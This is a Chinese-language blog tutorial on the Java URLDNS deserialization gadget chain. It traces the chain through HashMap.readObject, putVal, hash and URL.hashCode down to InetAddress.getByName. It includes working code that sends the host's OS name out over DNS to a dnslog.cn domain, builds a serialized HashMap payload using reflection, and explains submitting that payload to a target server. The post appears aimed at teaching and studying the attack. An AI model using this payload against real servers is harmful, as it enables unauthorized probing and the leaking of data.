当前位置: 首页 > web >正文

URLDNS链构造

1、什么是URLDNS链

在序列化HashMap类的对象时,为了减少序列化后的大小,并没有将整个哈希表保存进去,而是仅仅保存了所有内部存储的key和value。所以在反序列化时,需要重新计算所有key的hash,然后与value一起放入哈希表中。而恰好,URL这个对象计算hashCode的过程中用了getHostAddress查询了URL的主机地址,自然需要发出DNS请求

要构造这个Gadget,只需要初始化一个java.net.URL对象,作为key放在java.util.HashMap中;然后设置这个URL对象的hashCode为初始值-1(URL类中hashCode属性的值本来就为-1),这样反序列化时将会重新计算其hashCode,才能触发到后面的DNS请求(getHostAddress方法),否则不会调用URL->hashCode()

那么java中用什么方法来解析域名呢

我们可以使用InetAddress这个类来对一个域名进行解析

我们首先去dnslog.cn上去获取一个临时的域名,为rxoqxi.dnslog.cn

 我们可以通过代码来实现,如下:(解析域名,来获取其所对应的IP地址)

package com.woniu.vul;import java.net.InetAddress;public class UrlDNS {public static void main(String[] args) throws Exception {InetAddress address = InetAddress.getByName("123456.rxoqxi.dnslog.cn");System.out.println(address.getHostAddress());}
}

同时我们也可以带一个操作系统的名字,然后将操作系统的名字与我们的子域名拼接在一起即可,如下

package com.woniu.vul;import java.net.InetAddress;public class UrlDNS {public static void main(String[] args) throws Exception {String osname = System.getProperty("os.name");  //获取当前操作系统的名字InetAddress address = InetAddress.getByName(osname + ".rxoqxi.dnslog.cn");System.out.println(address.getHostAddress());}
}

特别需要注意的一点:域名只支持小数点、短线、数字和字母,不能有其他符号的

所以我们使用一行代码将" "转换为"-"

我们可以换另外一种方式去解析,如下代码

Map<URL,String> map = new HashMap<>();  //先实例化一个HashMapURL url = new URL("http://12345678.rxoqxi.dnslog.cn");  //实例化一个URL对象,URL里面指定http协议,然后后面加一个域名map.put(url,"woniu");  //把url对象当成key的时候可以被解析System.out.println("代码运行结束.");

 说明执行上面那段代码也可以进行url解析


 只有 map.put(url,"woniu"); 这行代码才能够执行DNS解析

这是为什么

我们可以使用断点调试的方法去看看,设置好断点之后点击右上方的小虫子进行解析,如下

这是url对象

智能步入的意思是进去看看这个put函数在发生什么

强制步入的意思是必须进去看看这个put函数在发生什么

单步跳出代码块的意思就是回到原来的地方

 

我们先点进去看看这个代码在干嘛 ,只看到了put的方法,这个里面没有代码,也没有具体方法的实现,只有一个定义

 接口只是定了一个规范,代码运行的时候根本不会运行到接口

运行的时候一定是在接口的实现类里面,然后才会有对应的方法

所以我们使用调试的方式进去看看

强制步入进去

 

然后继续步入,调到了当前这个hash,然后在当前的hash里面又在调用hashCode

同时旁边给我们显示了key,我们在UrlDNS中HashCode的key就是对应的URL对象,那所以上面的Object是什么?是URL的那个Object

我们继续向下调试,就会进入到URL里面的hashCode,这个hashCode是啥,就是URL这个对象的一个属性,同时在URL对象hashCode这个属性是私有的,且默认值是-1

如果不等于-1,直接返回这个hashCode

如果等于-1的话,就执行下面的那行代码

这一行又在调用一个handler.hashCode

然后我们继续向下调试

到了URLStreamhandler这个类,里面又有一个hashCode的方法

接着继续调试,我们看到了InetAddress addr = getHostAddress(u)

我们也可以进去看,u这个对象一直带着域名在跟踪

然后一直调试,调试到这个地方

高亮部分就是我们一开始做域名解析的方法

所以如果代码走到这里的话,这一行代码就会对host这个域名进行DNS解析

host就是所对应的域名

我们把这个代码往下执行一行,然后在dnslog.cn中就会把它给带出来,就是那个12345678

由于我使用的临时域名,做实验的时候域名过期了,得重新申请一个域名,所以我就不把带出来的截图放在这儿了,反正肯定是会带出来的

也就是说,我们这个链条的目的是什么?是通过DNS带流量、数据出来,我就找到了终点,下图高亮部分就是我们的终点

但是这个终点是怎么找到的

我们就直接满篇源代码去找,因为这是Java内置的源代码,找到之后一层一层往上找,最终我们找到一个hashmap,把url当成key的时候,它就会调用到URLStreamHandler里边的域名解析,也就是InetAddress.getByName

那怎么来说起点的事情

我们就要考虑反序列化HashMap

如果起点能够反序列化,那么在反序列化的时候,让它能够调用到Hashmap的put方法,并且某一个反序列化的对象是否重写了ReadObject方法,如果重写了就能够自动触发了

所以我们现在来看一个这个HashMap能不能被序列化,如果不能被序列化的话,那反序列化还有什么意义

经过查看,HashMap是可以被序列化的,第一个基本条件满足

第二个条件,还得重写readObject方法才能被自动触发

所以我们看看HashMap这个类有没有重写readObject的方法

经过查看发现存在重写readObject方法

那就意味着我们只要反序列化这个HashMap,然后就会自动调用readObject这个代码

同时我们还得看它自动调用的地方会不会出现调用put的方法,如果存在的话,这个链条就会一直往下调了

它没有直接调用put,而是调用了putVal,然后在putVal中调用hash

我们进行调试的时候第一步就是调用putVal这个函数,然后进一步调用hash这个函数,hash函数接着调用hashCode这个函数,hashCode然后再调用具体的url值,然后调用getHostAddress这个函数,最终调用到getByName,接着就做域名解析

所以起点我们可以认为是HashMap的putVal这个方法

readObject正好也在调putVal这个函数,然后里面又调用hash,接着调用Hashcode,然后就一直调用了

这个链条就找到了一个起点,那么并且通过反序列化自动的调用readObject,就可以触发调用hash,最终触发调用我们的DNS解析

以上就是原理分析的过程

所以接下来呢,我们这些事就好办了

我们首先构建一个序列化的数据

Map<URL,String> map = new HashMap<>();URL url = new URL("http://12345678.rxoqxi.dnslog.cn");map.put(url, "123321456654");//我们强制通过反射机制来将HashCode的值设置为-1Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,-1);//创建一个FileOutputStream对象fos,并指定了目标文件路径"./data/urldns.ser"FileOutputStream fos = new FileOutputStream("./data/urldns.ser");//用于将Java对象序列化并写入到输出流中,且包装了FileOutputStream,使得可以将对象以二进制形式写入文件ObjectOutputStream oos = new ObjectOutputStream(fos);//用于将指定的对象序列化并写入到流中,参数map是一个Map对象,它将被序列化并保存到文件中oos.writeObject(map);//然后在主方法那里调用一下它的序列化方法
UrlDNS urlDNS = new UrlDNS();
UrlDNS.serial();

由于电脑配置原因,只能够在dnslog.cn上将数据带出来,无法将序列化后的结果输出到文件中

反序列化需要执行的代码如下:

public void unserial() throws Exception{FileInputStream fis = new FileInputStream("./data/urldns.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();}

序列化的数据或字符串是在我们攻击者服务器上生成的,而反序列的时候我们是将其提交给目标服务器的,让目标服务器去跑这个代码就可以了,我们演示的时候是在同一台电脑上进行的

真实的场景就是我们将序列化后输入到文件中的数据想办法上传给目标服务器,它就开始反序列化,然后就是我们想要带什么流量就是我们在域名那儿写的paylaod是什么

我们也可以去进行调试,看看反序列化的时候的readObject是不是在执行hashmap的readObject,最终看看能否执行到putVal这个地方来,我们可以做一个反向的确认

http://www.xdnf.cn/news/589.html

相关文章:

  • Android Studio 中 Drawable 详细全解
  • Android Drawable 目录下的 XML 图形文件详解
  • 在 Linux 上部署 .NET Core 应用并配置为开机自动启动
  • [操作系统] 信号
  • GO语言入门:常用数学函数2
  • rollup使用讲解
  • JUC复习及面试题学习
  • SpringBoot 统一功能处理
  • 智谱开源新一代GLM模型,全面布局AI智能体生态
  • 墙面刷完乳胶漆之后就有裂缝,有根治的办法吗?
  • Java面向对象进阶
  • BEVDet: High-Performance Multi-Camera 3D Object Detection in Bird-Eye-View
  • 年化26.9%的稳健策略|polars重构因子计算引擎(python策略下载)
  • AI——神经网络以及TensorFlow使用
  • 《汽车理论》第四章作业MATLAB部分
  • 传统深度学习架构和Transformer结构的区别
  • 从0开始搭建一套工具函数库,发布npm,支持commonjs模块es模块和script引入使用
  • uniapp-商城-29-vuex 关于系统状态的管理
  • 嵌入式单片机开发问题:Undefined symbol _HAL_RCC_GPIOB_CLK_ENABLE
  • Matlab 基于模型参考自适应法和SVPWM的异步电机控制
  • Kubernetes(k8s)学习笔记(二)--k8s 集群安装
  • 机器学习(神经网络基础篇)——个人理解篇6(概念+代码)
  • 【实战中提升自己】内网安全部署之dot1x部署 本地与集成AD域的主流方式(附带MAC认证)
  • UE5的BumpOffset节点
  • C++选择排序原理及实现
  • Python带有else子句的循环语句
  • 动态内存管理
  • [dp20_完全背包] 介绍 | 零钱兑换
  • PSN港服跳过生日找回密码(需要英语对话,需要注册的id)
  • 超大文件处理——文件强制切割:突破存储传输限制,提升数据处理效能—星辰大文化术——未来之窗超算中心